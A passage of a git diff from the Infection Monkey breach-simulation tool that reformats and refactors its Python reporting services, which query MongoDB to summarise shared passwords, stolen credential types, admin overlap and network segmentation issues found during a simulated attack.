"$NTLM_secret"}, + "_id": {"NTLM_secret": "$NTLM_secret"}, "count": {"$sum": 1}, - "Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name', - 'machine_id': '$machine_id'}} - }}, - {'$match': {'count': {'$gt': 1}}} + "Docs": { + "$push": { + "_id": "$_id", + "name": "$name", + "domain_name": "$domain_name", + "machine_id": "$machine_id", + } + }, + } + }, + {"$match": {"count": {"$gt": 1}}}, ] return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod def __get_admin_on_machines_format(admin_on_machines, domain_name): """ - This function finds for each admin user, which machines its an admin of, and compile them to a list. + This function finds for each admin user, which machines its an admin of, and compile them + to a list. :param admin_on_machines: A list of "monkey" documents "_id"s :param domain_name: The admins' domain name :return: A list of formatted machines names *domain*/*hostname*, to use in shared admins issues. """ - machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) - return [domain_name + '\\' + i['hostname'] for i in list(machines)] + machines = mongo.db.monkey.find({"_id": {"$in": admin_on_machines}}, {"hostname": 1}) + return [domain_name + "\\" + i["hostname"] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): """ - This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and - are administrators on machines with services predefined as important services thus making these machines + This function build and query the mongoDB for users that mimikatz was able to find + cached NTLM hashes and + are administrators on machines with services predefined as important services thus + making these machines critical. :return: A list of said users """ pipeline = [ + {"$unwind": "$admin_on_machines"}, + {"$match": {"type": USERTYPE, "domain_name": {"$ne": None}}}, { - '$unwind': '$admin_on_machines' + "$lookup": { + "from": "monkey", + "localField": "admin_on_machines", + "foreignField": "_id", + "as": "critical_machine", + } }, - { - '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}} - }, - { - '$lookup': - { - 'from': 'monkey', - 'localField': 'admin_on_machines', - 'foreignField': '_id', - 'as': 'critical_machine' - } - }, - { - '$match': {'critical_machine.critical_services': {'$ne': []}} - }, - { - '$unwind': '$critical_machine' - } + {"$match": {"critical_machine.critical_services": {"$ne": []}}}, + {"$unwind": "$critical_machine"}, ] return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod def __build_dup_user_label(i): - return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username'] + return ( + i["hostname"] + "\\" + i["username"] + if i["hostname"] + else i["domain_name"] + "\\" + i["username"] + ) @staticmethod def get_duplicated_passwords_nodes(): @@ -104,13 +104,15 @@ class PTHReportService(object): for doc in docs: users_list = [ { - 'username': user['name'], - 'domain_name': user['domain_name'], - 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if - user['machine_id'] else None - } for user in doc['Docs'] + "username": user["name"], + "domain_name": user["domain_name"], + "hostname": NodeService.get_hostname_by_id(ObjectId(user["machine_id"])) + if user["machine_id"] + else None, + } + for user in doc["Docs"] ] - users_cred_groups.append({'cred_groups': users_list}) + users_cred_groups.append({"cred_groups": users_list}) return users_cred_groups @@ -119,13 +121,19 @@ class PTHReportService(object): user_groups = PTHReportService.get_duplicated_passwords_nodes() issues = [] for group in user_groups: - user_info = group['cred_groups'][0] + user_info = group["cred_groups"][0] issues.append( { - 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', - 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']], - 'is_local': False if user_info['domain_name'] else True + "type": "shared_passwords_domain" + if user_info["domain_name"] + else "shared_passwords", + "machine": user_info["hostname"] + if user_info["hostname"] + else user_info["domain_name"], + "shared_with": [ + PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"] + ], + "is_local": False if user_info["domain_name"] else True, } ) return issues @@ -134,19 +142,28 @@ class PTHReportService(object): def get_shared_admins_nodes(): # This mongo queries users the best solution to figure out if an array - # object has at least two objects in it, by making sure any value exists in the array index 1. - # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account + # object has at least two objects in it, by making sure any value exists in the array + # index 1. + # Excluding the name Administrator - its spamming the lists and not a surprise the domain + # Administrator account # is shared. - admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'}, - 'admin_on_machines.1': {'$exists': True}}, - {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) + admins = mongo.db.groupsandusers.find( + { + "type": USERTYPE, + "name": {"$ne": "Administrator"}, + "admin_on_machines.1": {"$exists": True}, + }, + {"admin_on_machines": 1, "name": 1, "domain_name": 1}, + ) return [ { - 'name': admin['name'], - 'domain_name': admin['domain_name'], - 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], - admin['domain_name']) - } for admin in admins + "name": admin["name"], + "domain_name": admin["domain_name"], + "admin_on_machines": PTHReportService.__get_admin_on_machines_format( + admin["admin_on_machines"], admin["domain_name"] + ), + } + for admin in admins ] @staticmethod @@ -154,13 +171,14 @@ class PTHReportService(object): admins_info = PTHReportService.get_shared_admins_nodes() return [ { - 'is_local': False, - 'type': 'shared_admins_domain', - 'machine': admin['domain_name'], - 'username': admin['domain_name'] + '\\' + admin['name'], - 'shared_machines': admin['admin_on_machines'], + "is_local": False, + "type": "shared_admins_domain", + "machine": admin["domain_name"], + "username": admin["domain_name"] + "\\" + admin["name"], + "shared_machines": admin["admin_on_machines"], } - for admin in admins_info] + for admin in admins_info + ] @staticmethod def get_strong_users_on_critical_machines_nodes(): @@ -169,15 +187,18 @@ class PTHReportService(object): docs = PTHReportService.__strong_users_on_crit_query() for doc in docs: - hostname = str(doc['critical_machine']['hostname']) + hostname = str(doc["critical_machine"]["hostname"]) if hostname not in crit_machines: crit_machines[hostname] = { - 'threatening_users': [], - 'critical_services': doc['critical_machine']['critical_services'] + "threatening_users": [], + "critical_services": doc["critical_machine"]["critical_services"], } - crit_machines[hostname]['threatening_users'].append( - {'name': str(doc['domain_name']) + '\\' + str(doc['name']), - 'creds_location': doc['secret_location']}) + crit_machines[hostname]["threatening_users"].append( + { + "name": str(doc["domain_name"]) + "\\" + str(doc["name"]), + "creds_location": doc["secret_location"], + } + ) return crit_machines @staticmethod @@ -186,11 +207,14 @@ class PTHReportService(object): return [ { - 'type': 'strong_users_on_crit', - 'machine': machine, - 'services': crit_machines[machine].get('critical_services'), - 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] - } for machine in crit_machines + "type": "strong_users_on_crit", + "machine": machine, + "services": crit_machines[machine].get("critical_services"), + "threatening_users": [ + i["name"] for i in crit_machines[machine]["threatening_users"] + ], + } + for machine in crit_machines ] @staticmethod @@ -198,22 +222,20 @@ class PTHReportService(object): user_details = {} crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() for machine in crit_machines: - for user in crit_machines[machine]['threatening_users']: - username = user['name'] + for user in crit_machines[machine]["threatening_users"]: + username = user["name"] if username not in user_details: - user_details[username] = { - 'machines': [], - 'services': [] - } - user_details[username]['machines'].append(machine) - user_details[username]['services'] += crit_machines[machine]['critical_services'] + user_details[username] = {"machines": [], "services": []} + user_details[username]["machines"].append(machine) + user_details[username]["services"] += crit_machines[machine]["critical_services"] return [ { - 'username': user, - 'machines': user_details[user]['machines'], - 'services_names': user_details[user]['services'] - } for user in user_details + "username": user, + "machines": user_details[user]["machines"], + "services_names": user_details[user]["services"], + } + for user in user_details ] @staticmethod @@ -222,12 +244,13 @@ class PTHReportService(object): return [ { - 'id': monkey.guid, - 'label': '{0} : {1}'.format(monkey.hostname, monkey.ip_addresses[0]), - 'group': 'critical' if monkey.critical_services is not None else 'normal', - 'services': monkey.critical_services, - 'hostname': monkey.hostname - } for monkey in monkeys + "id": monkey.guid, + "label": "{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]), + "group": "critical" if monkey.critical_services is not None else "normal", + "services": monkey.critical_services, + "hostname": monkey.hostname, + } + for monkey in monkeys ] @staticmethod @@ -235,52 +258,38 @@ class PTHReportService(object): edges_list = [] comp_users = mongo.db.groupsandusers.find( - { - 'admin_on_machines': {'$ne': []}, - 'secret_location': {'$ne': []}, - 'type': USERTYPE - }, - { - 'admin_on_machines': 1, 'secret_location': 1 - } + {"admin_on_machines": {"$ne": []}, "secret_location": {"$ne": []}, "type": USERTYPE}, + {"admin_on_machines": 1, "secret_location": 1}, ) for user in comp_users: # A list comp, to get all unique pairs of attackers and victims. - for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location']) - if pair[0] != pair[1]]: + for pair in [ + pair + for pair in product(user["admin_on_machines"], user["secret_location"]) + if pair[0] != pair[1] + ]: edges_list.append( - { - 'from': pair[1], - 'to': pair[0], - 'id': str(pair[1]) + str(pair[0]) - } + {"from": pair[1], "to": pair[0], "id": str(pair[1]) + str(pair[0])} ) return edges_list @staticmethod def get_pth_map(): return { - 'nodes': PTHReportService.generate_map_nodes(), - 'edges': PTHReportService.generate_edges() + "nodes": PTHReportService.generate_map_nodes(), + "edges": PTHReportService.generate_edges(), } @staticmethod def get_report(): pth_map = PTHReportService.get_pth_map() PTHReportService.get_strong_users_on_critical_machines_nodes() - report = \ - { - 'report_info': - { - 'strong_users_table': PTHReportService.get_strong_users_on_crit_details() - }, - - 'pthmap': - { - 'nodes': pth_map.get('nodes'), - 'edges': pth_map.get('edges') - } - } + report = { + "report_info": { + "strong_users_table": PTHReportService.get_strong_users_on_crit_details() + }, + "pthmap": {"nodes": pth_map.get("nodes"), "edges": pth_map.get("edges")}, + } return report diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index a23aa6d85..b9f8f6a47 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -2,84 +2,70 @@ import functools import ipaddress import itertools import logging -from enum import Enum +from typing import List from bson import json_util +from common.config_value_paths import ( + EXPLOITER_CLASSES_PATH, + LOCAL_NETWORK_SCAN_PATH, + PASSWORD_LIST_PATH, + SUBNET_SCAN_LIST_PATH, + USER_LIST_PATH, +) from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses from monkey_island.cc.services.config import ConfigService -from common.config_value_paths import (EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, - PASSWORD_LIST_PATH, SUBNET_SCAN_LIST_PATH, - USER_LIST_PATH) -from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +from monkey_island.cc.services.configuration.utils import ( + get_config_network_segments_as_subnet_groups, +) from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.exploitations.manual_exploitation import get_manual_monkeys +from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( + get_monkey_exploited, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 + ExploiterDescriptorEnum, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 + CredentialType, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 + ExploiterReportInfo, +) from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager -from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report - -__author__ = "itay.mizeretz" +from monkey_island.cc.services.reporting.report_generation_synchronisation import ( + safe_generate_regular_report, +) +from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses logger = logging.getLogger(__name__) class ReportService: - def __init__(self): - pass - - EXPLOIT_DISPLAY_DICT = \ - { - 'SmbExploiter': 'SMB Exploiter', - 'WmiExploiter': 'WMI Exploiter', - 'SSHExploiter': 'SSH Exploiter', - 'SambaCryExploiter': 'SambaCry Exploiter', - 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', - 'Ms08_067_Exploiter': 'Conficker Exploiter', - 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter', - 'WebLogicExploiter': 'Oracle WebLogic Exploiter', - 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter', - 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter', - 'DrupalExploiter': 'Drupal Server Exploiter', - 'ZerologonExploiter': 'Windows Server Zerologon Exploiter' - } - - class ISSUES_DICT(Enum): - WEAK_PASSWORD = 0 - STOLEN_CREDS = 1 - ELASTIC = 2 - SAMBACRY = 3 - SHELLSHOCK = 4 - CONFICKER = 5 - AZURE = 6 - STOLEN_SSH_KEYS = 7 - STRUTS2 = 8 - WEBLOGIC = 9 - HADOOP = 10 - PTH_CRIT_SERVICES_ACCESS = 11 - MSSQL = 12 - VSFTPD = 13 - DRUPAL = 14 - ZEROLOGON = 15 - ZEROLOGON_PASSWORD_RESTORE_FAILED = 16 - - class WARNINGS_DICT(Enum): - CROSS_SEGMENT = 0 - TUNNEL = 1 - SHARED_LOCAL_ADMIN = 2 - SHARED_PASSWORDS = 3 + class DerivedIssueEnum: + WEAK_PASSWORD = "weak_password" + STOLEN_CREDS = "stolen_creds" + ZEROLOGON_PASS_RESTORE_FAILED = "zerologon_pass_restore_failed" @staticmethod def get_first_monkey_time(): - return mongo.db.telemetry.find({}, {'timestamp': 1}).sort([('$natural', 1)]).limit(1)[0]['timestamp'] + return ( + mongo.db.telemetry.find({}, {"timestamp": 1}) + .sort([("$natural", 1)]) + .limit(1)[0]["timestamp"] + ) @staticmethod def get_last_monkey_dead_time(): - return mongo.db.telemetry.find({}, {'timestamp': 1}).sort([('$natural', -1)]).limit(1)[0]['timestamp'] + return ( + mongo.db.telemetry.find({}, {"timestamp": 1}) + .sort([("$natural", -1)]) + .limit(1)[0]["timestamp"] + ) @staticmethod def get_monkey_duration(): @@ -100,26 +86,34 @@ class ReportService: def get_tunnels(): return [ { - 'type': 'tunnel', - 'machine': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_id(tunnel['_id'])), - 'dest': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_id(tunnel['tunnel'])) + "type": "tunnel", + "machine": NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["_id"]) + ), + "dest": NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["tunnel"]) + ), } - for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})] + for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1}) + ] @staticmethod def get_azure_issues(): creds = ReportService.get_azure_creds() - machines = set([instance['origin'] for instance in creds]) + machines = set([instance["origin"] for instance in creds]) - logger.info('Azure issues generated for reporting') + logger.info("Azure issues generated for reporting") return [ { - 'type': 'azure_password', - 'machine': machine, - 'users': set([instance['username'] for instance in creds if instance['origin'] == machine]) + "type": "azure_password", + "machine": machine, + "users": set( + [instance["username"] for instance in creds if instance["origin"] == machine] + ), } - for machine in machines] + for machine in machines + ] @staticmethod def get_scanned(): @@ -128,57 +122,35 @@ class ReportService: nodes = ReportService.get_all_displayed_nodes() for node in nodes: - nodes_that_can_access_current_node = node['accessible_from_nodes_hostnames'] + nodes_that_can_access_current_node = node["accessible_from_nodes_hostnames"] formatted_nodes.append( { - 'label': node['label'], - 'ip_addresses': node['ip_addresses'], - 'accessible_from_nodes': nodes_that_can_access_current_node, - 'services': node['services'], - 'domain_name': node['domain_name'], - 'pba_results': node['pba_results'] if 'pba_results' in node else 'None' - }) + "label": node["label"], + "ip_addresses": node["ip_addresses"], + "accessible_from_nodes": nodes_that_can_access_current_node, + "services": node["services"], + "domain_name": node["domain_name"], + "pba_results": node["pba_results"] if "pba_results" in node else "None", + } + ) - logger.info('Scanned nodes generated for reporting') + logger.info("Scanned nodes generated for reporting") return formatted_nodes @staticmethod def get_all_displayed_nodes(): - nodes_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in - mongo.db.node.find({}, {'_id': 1})] - nodes_with_monkeys = [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in - mongo.db.monkey.find({}, {'_id': 1})] + nodes_without_monkeys = [ + NodeService.get_displayed_node_by_id(node["_id"], True) + for node in mongo.db.node.find({}, {"_id": 1}) + ] + nodes_with_monkeys = [ + NodeService.get_displayed_node_by_id(monkey["_id"], True) + for monkey in mongo.db.monkey.find({}, {"_id": 1}) + ] nodes = nodes_without_monkeys + nodes_with_monkeys return nodes - @staticmethod - def get_exploited(): - exploited_with_monkeys = \ - [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in - mongo.db.monkey.find({}, {'_id': 1}) if - not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))] - - exploited_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in - mongo.db.node.find({'exploited': True}, {'_id': 1})] - - exploited = exploited_with_monkeys + exploited_without_monkeys - - exploited = [ - { - 'label': exploited_node['label'], - 'ip_addresses': exploited_node['ip_addresses'], - 'domain_name': exploited_node['domain_name'], - 'exploits': list(set( - [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in exploited_node['exploits'] - if exploit['result']])) - } - for exploited_node in exploited] - - logger.info('Exploited nodes generated for reporting') - - return exploited - @staticmethod def get_stolen_creds(): creds = [] @@ -189,27 +161,31 @@ class ReportService: stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() creds.extend(stolen_exploit_creds) - logger.info('Stolen creds generated for reporting') + logger.info("Stolen creds generated for reporting") return creds @staticmethod def _get_credentials_from_system_info_telems(): formatted_creds = [] - for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, - {'data.credentials': 1, 'monkey_guid': 1}): - creds = telem['data']['credentials'] - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + for telem in mongo.db.telemetry.find( + {"telem_category": "system_info", "data.credentials": {"$exists": True}}, + {"data.credentials": 1, "monkey_guid": 1}, + ): + creds = telem["data"]["credentials"] + origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) return formatted_creds @staticmethod def _get_credentials_from_exploit_telems(): formatted_creds = [] - for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, - {'data.info.credentials': 1, 'data.machine': 1, 'monkey_guid': 1}): - creds = telem['data']['info']['credentials'] - domain_name = telem['data']['machine']['domain_name'] - ip = telem['data']['machine']['ip_addr'] + for telem in mongo.db.telemetry.find( + {"telem_category": "exploit", "data.info.credentials": {"$exists": True}}, + {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1}, + ): + creds = telem["data"]["info"]["credentials"] + domain_name = telem["data"]["machine"]["domain_name"] + ip = telem["data"]["machine"]["ip_addr"] origin = domain_name if domain_name else ip formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) return formatted_creds @@ -217,7 +193,11 @@ class ReportService: @staticmethod def _format_creds_for_reporting(telem, monkey_creds, origin): creds = [] - CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + CRED_TYPE_DICT = { + "password": "Clear Password", + "lm_hash": "LM hash", + "ntlm_hash": "NTLM hash", + } if len(monkey_creds) == 0: return [] @@ -225,13 +205,14 @@ class ReportService: for cred_type in CRED_TYPE_DICT: if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: continue - username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user - cred_row = \ - { - 'username': username, - 'type': CRED_TYPE_DICT[cred_type], - 'origin': origin - } + username = ( + monkey_creds[user]["username"] if "username" in monkey_creds[user] else user + ) + cred_row = { + "username": username, + "type": CRED_TYPE_DICT[cred_type], + "origin": origin, + } if cred_row not in creds: creds.append(cred_row) return creds @@ -244,17 +225,27 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}}, - {'data.ssh_info': 1, 'monkey_guid': 1} + {"telem_category": "system_info", "data.ssh_info": {"$exists": True}}, + {"data.ssh_info": 1, "monkey_guid": 1}, ): - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - if telem['data']['ssh_info']: + origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] + if telem["data"]["ssh_info"]: # Pick out all ssh keys not yet included in creds - ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', - 'origin': origin} for key_pair in telem['data']['ssh_info'] - if - key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', - 'origin': origin} not in creds] + ssh_keys = [ + { + "username": key_pair["name"], + "type": "Clear SSH private key", + "origin": origin, + } + for key_pair in telem["data"]["ssh_info"] + if key_pair["private_key"] + and { + "username": key_pair["name"], + "type": "Clear SSH private key", + "origin": origin, + } + not in creds + ] creds.extend(ssh_keys) return creds @@ -266,201 +257,72 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.Azure': {'$exists': True}}, - {'data.Azure': 1, 'monkey_guid': 1} + {"telem_category": "system_info", "data.Azure": {"$exists": True}}, + {"data.Azure": 1, "monkey_guid": 1}, ): - azure_users = telem['data']['Azure']['usernames'] + azure_users = telem["data"]["Azure"]["usernames"] if len(azure_users) == 0: continue - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', - 'origin': origin} for user in azure_users] + origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] + azure_leaked_users = [ + {"username": user.replace(",", "."), "type": "Clear Password", "origin": origin} + for user in azure_users + ] creds.extend(azure_leaked_users) - logger.info('Azure machines creds generated for reporting') + logger.info("Azure machines creds generated for reporting") return creds @staticmethod - def process_general_exploit(exploit): - ip_addr = exploit['data']['machine']['ip_addr'] - return {'machine': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)), - 'ip_address': ip_addr} + def process_exploit(exploit) -> ExploiterReportInfo: + exploiter_type = exploit["data"]["exploiter"] + exploiter_descriptor = ExploiterDescriptorEnum.get_by_class_name(exploiter_type) + processor = exploiter_descriptor.processor() + exploiter_info = processor.get_exploit_info_by_dict(exploiter_type, exploit) + return exploiter_info @staticmethod - def process_general_creds_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - - for attempt in exploit['data']['attempts']: - if attempt['result']: - processed_exploit['username'] = attempt['user'] - if attempt['password']: - processed_exploit['type'] = 'password' - processed_exploit['password'] = attempt['password'] - elif attempt['ssh_key']: - processed_exploit['type'] = 'ssh_key' - processed_exploit['ssh_key'] = attempt['ssh_key'] - else: - processed_exploit['type'] = 'hash' - return processed_exploit - return processed_exploit - - @staticmethod - def process_smb_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - if processed_exploit['type'] == 'password': - processed_exploit['type'] = 'smb_password' - else: - processed_exploit['type'] = 'smb_pth' - return processed_exploit - - @staticmethod - def process_wmi_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - if processed_exploit['type'] == 'password': - processed_exploit['type'] = 'wmi_password' - else: - processed_exploit['type'] = 'wmi_pth' - return processed_exploit - - @staticmethod - def process_ssh_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - # Check if it's ssh key or ssh login credentials exploit - if processed_exploit['type'] == 'ssh_key': - return processed_exploit - else: - processed_exploit['type'] = 'ssh' - return processed_exploit - - @staticmethod - def process_vsftpd_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'vsftp' - return processed_exploit - - @staticmethod - def process_sambacry_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'sambacry' - return processed_exploit - - @staticmethod - def process_elastic_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'elastic' - return processed_exploit - - @staticmethod - def process_conficker_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'conficker' - return processed_exploit - - @staticmethod - def process_shellshock_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'shellshock' - urls = exploit['data']['info']['vulnerable_urls'] - processed_exploit['port'] = urls[0].split(':')[2].split('/')[0] - processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] - return processed_exploit - - @staticmethod - def process_struts2_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'struts2' - return processed_exploit - - @staticmethod - def process_weblogic_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'weblogic' - return processed_exploit - - @staticmethod - def process_hadoop_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'hadoop' - return processed_exploit - - @staticmethod - def process_mssql_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'mssql' - return processed_exploit - - @staticmethod - def process_drupal_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'drupal' - return processed_exploit - - @staticmethod - def process_zerologon_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'zerologon' - processed_exploit['password_restored'] = exploit['data']['info']['password_restored'] - return processed_exploit - - @staticmethod - def process_exploit(exploit): - exploiter_type = exploit['data']['exploiter'] - EXPLOIT_PROCESS_FUNCTION_DICT = { - 'SmbExploiter': ReportService.process_smb_exploit, - 'WmiExploiter': ReportService.process_wmi_exploit, - 'SSHExploiter': ReportService.process_ssh_exploit, - 'SambaCryExploiter': ReportService.process_sambacry_exploit, - 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, - 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, - 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit, - 'WebLogicExploiter': ReportService.process_weblogic_exploit, - 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit, - 'VSFTPDExploiter': ReportService.process_vsftpd_exploit, - 'DrupalExploiter': ReportService.process_drupal_exploit, - 'ZerologonExploiter': ReportService.process_zerologon_exploit - } - - return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) - - @staticmethod - def get_exploits(): - query = [{'$match': {'telem_category': 'exploit', 'data.result': True}}, - {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'}, - 'data': {'$first': '$$ROOT'}, - }}, - {"$replaceRoot": {"newRoot": "$data"}}] + def get_exploits() -> List[dict]: + query = [ + {"$match": {"telem_category": "exploit", "data.result": True}}, + { + "$group": { + "_id": {"ip_address": "$data.machine.ip_addr"}, + "data": {"$first": "$$ROOT"}, + } + }, + {"$replaceRoot": {"newRoot": "$data"}}, + ] exploits = [] for exploit in mongo.db.telemetry.aggregate(query): new_exploit = ReportService.process_exploit(exploit) if new_exploit not in exploits: - exploits.append(new_exploit) + exploits.append(new_exploit.__dict__) return exploits @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {'telem_category': 'system_info', - 'monkey_guid': monkey_guid}, - {'data.network_info.networks': 1} + {"telem_category": "system_info", "monkey_guid": monkey_guid}, + {"data.network_info.networks": 1}, ) if network_info is None or not network_info["data"]: return [] - return \ - [ - ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network - for network in network_info['data']['network_info']['networks'] - ] + return [ + ipaddress.ip_interface(str(network["addr"] + "/" + network["netmask"])).network + for network in network_info["data"]["network_info"]["networks"] + ] @staticmethod def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() - for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}): + for monkey in mongo.db.monkey.find( + {"tunnel": {"$exists": False}}, {"tunnel": 1, "guid": 1, "hostname": 1} + ): found_good_ip = False - monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) + monkey_subnets = ReportService.get_monkey_subnets(monkey["guid"]) for subnet in monkey_subnets: for ip in island_ips: if ipaddress.ip_address(str(ip)) in subnet: @@ -470,9 +332,12 @@ class ReportService: break if not found_good_ip: issues.append( - {'type': 'island_cross_segment', 'machine': monkey['hostname'], - 'networks': [str(subnet) for subnet in monkey_subnets], - 'server_networks': [str(subnet) for subnet in get_subnets()]} + { + "type": "island_cross_segment", + "machine": monkey["hostname"], + "networks": [str(subnet) for subnet in monkey_subnets], + "server_networks": [str(subnet) for subnet in get_subnets()], + } ) return issues @@ -480,18 +345,21 @@ class ReportService: @staticmethod def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): """ - Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the + Gets list of cross segment issues of a single machine. Meaning a machine has an interface + for each of the subnets. - :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet. - :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet. + :param source_subnet_range: The subnet range which shouldn't be able to access + target_subnet. + :param target_subnet_range: The subnet range which shouldn't be accessible from + source_subnet. :return: """ cross_segment_issues = [] - for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}): + for monkey in mongo.db.monkey.find({}, {"ip_addresses": 1, "hostname": 1}): ip_in_src = None ip_in_dst = None - for ip_addr in monkey['ip_addresses']: + for ip_addr in monkey["ip_addresses"]: if 